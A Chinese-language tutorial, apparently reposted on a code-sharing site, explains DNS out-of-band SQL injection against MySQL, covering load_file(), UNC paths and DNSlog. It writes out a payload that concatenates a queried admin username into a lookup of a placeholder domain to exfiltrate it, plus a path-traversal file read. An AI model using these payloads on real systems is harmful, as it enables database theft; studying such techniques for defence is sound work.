SQL注入:DNS注入


DNS注入原理:

通過我們構造的數據,訪問搭建好的DNS服務器,查看DNS訪問的日志即可獲取我們想要得到的數據。

DNS注入使用場景:

在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNSlog把想獲得的數據外帶出來。
對於sql盲注,常見的方法就是二分法去一個個猜,但是這樣的方法麻煩不說,還很容易因為數據請求頻繁導致被ban。

load_file函數

load_file()函數是讀取文件的函數,讀取文件並返回文件內容為字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有FILE權限。 該文件所有字節可讀,但文件內容必須小於max_allowed_packet(限制server接受的數據包大小函數,默認1MB)。 如果該文件不存在或無法讀取,因為前面的條件之一不滿足,函數返回 NULL。
select load_file(../../../../../../../../../../../1.txt)

UNC路徑

UNC路徑就是類似\softer這樣的形式的網絡路徑。它符合 \servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:

\\servername\sharename\directory\filename

例如softer計算機的名為it168的共享文件夾,用UNC表示就是\softer\it168。
我們熟悉的命令行訪問法訪問網上鄰居,實際上應該稱作UNC路徑訪問法。

假設我們訪問的路徑是域名下的某個文件呢?

//xxxxx.com/1.txt
或 \\\\xxxx.com/txt //四個反斜杠的原因是因為將反斜杠做轉義,不然兩個\會被轉義為一個,導致語句報錯
# 表示我們去訪問這個域名下的共享文件夾的文件

當我們使用load_file去訪問域名的時候,會產生DNS解析
這時候我們可以通過構造sql查詢語句去查詢數據庫
select load_file(concat('//',(select username form admin limit 0,1),'.xxx.xxx/abc'))
因為拼接的字段只能有一條,所以需要進行限制,不然會報錯
如果成功訪問的話就可以通過查詢日志獲取username字段的值,完成DNS注入。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM